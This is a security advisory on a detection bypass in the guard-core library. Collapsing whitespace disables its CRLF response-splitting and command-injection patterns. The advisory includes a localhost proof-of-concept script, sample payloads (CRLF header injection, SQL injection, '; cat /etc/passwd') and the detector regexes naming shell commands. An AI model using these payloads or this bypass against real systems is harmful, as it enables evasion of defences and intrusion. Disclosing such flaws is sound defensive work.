Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode
GHSA-w7wg-6q7v-44f2 · CVE-2026-129303
Published · Modified
AI SAST
Find this class of vulnerability in your own code
Corgea's AI-native static analysis detects vulnerabilities like this one across your repositories, ranks them by exploitability, and returns review-ready fixes.
Description
Summary
In the default "enhanced" detection mode, ContentPreprocessor.preprocess() collapses all whitespace (re.sub(r"\s+", " ", content), guard_core/detection_engine/preprocessor.py:137 on master 08780f1; :384 in the 3.12.0 sdist) before pattern matching. This erases every \r and \n from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:
- http_split —
guard_core/handlers/suspatterns_handler.py:540:r"[\r\n]\s*(?:HTTP\/[0-9.]+|Location:|Set-Cookie:)"requires a literal\ror\n, which no longer exists after preprocessing; - cmd_injection —
r"\n\s*(?:bash|sh|...)\s+-c\b"— same structural death.
The downstream application receives the raw value with CRLF intact (Starlette percent-decodes %0d%0a in query parameters before the adapter passes request.query_params.items() to guard_core/utils.py:843-865), so a response-splitting-shaped payload passes detection unflagged.
Details
Verified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:
request (?q=) |
status |
|---|---|
value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1 (decoded to literal CRLF by the framework) |
200 — missed |
' OR 1=1-- |
400 — blocked (detection otherwise working) |
1 UNION SELECT password FROM users-- |
400 — blocked |
; cat /etc/passwd |
400 — blocked |
The legacy mode (no SecurityConfig detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock SecurityConfig activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms toward what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.
PoC
import asyncio
import httpx
import uvicorn
from fastapi import FastAPI
from guard.adapters import SecurityMiddleware # fastapi-guard adapter over guard-core
from guard_core.models import SecurityConfig
from starlette.middleware import Middleware
app = FastAPI(middleware=[Middleware(
SecurityMiddleware, config=SecurityConfig(enable_redis=False))])
@app.get("/search")
async def search(q: str = "") -> dict:
return {"len": len(q)}
async def main() -> None:
server = uvicorn.Server(uvicorn.Config(app, host="127.0.0.1", port=8995, log_level="error"))
task = asyncio.create_task(server.serve())
for _ in range(50):
if server.started:
break
await asyncio.sleep(0.1)
async with httpx.AsyncClient() as client:
r = await client.get("http://127.0.0.1:8995/search",
params={"q": "value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1"})
print("CRLF payload:", r.status_code, "(200 = missed)")
r2 = await client.get("http://127.0.0.1:8995/search", params={"q": "' OR 1=1--"})
print("SQLi control:", r2.status_code, "(400 = detection works)")
server.should_exit = True
await task
asyncio.run(main())
# Output: CRLF payload: 200 (missed) / SQLi control: 400 (blocked)
Impact
A detection bypass in a WAF/defense-in-depth layer: payloads shaped like HTTP response splitting (or newline-anchored command injection) are not flagged in the default mode, while other attack classes are. Not directly exploitable against Starlette/uvicorn-backed apps (they reject CRLF in response headers); the residual risk is for apps behind other stacks or apps that persist and re-emit the value where a CRLF-tolerant parser exists.
Fix: preserve \r\n during whitespace collapse (collapse only [ \t]+), or run the newline-anchored patterns against the pre-collapse content.
Reporter validation request
The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.
References
- WEB https://github.com/Guard-Core/guard-core/security/advisories/GHSA-w7wg-6q7v-44f2
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-129303
- WEB https://github.com/Guard-Core/guard-core/pull/68
- WEB https://github.com/Guard-Core/guard-core/commit/c07239fa1c5aa93e3f179440e79dad652977d3e4
- WEB https://github.com/Guard-Core/guard-core/releases/tag/3.13.0
- PACKAGE https://github.com/rennf93/guard-core
Ready to move
Start Securing
Free, no credit card | First findings in minutes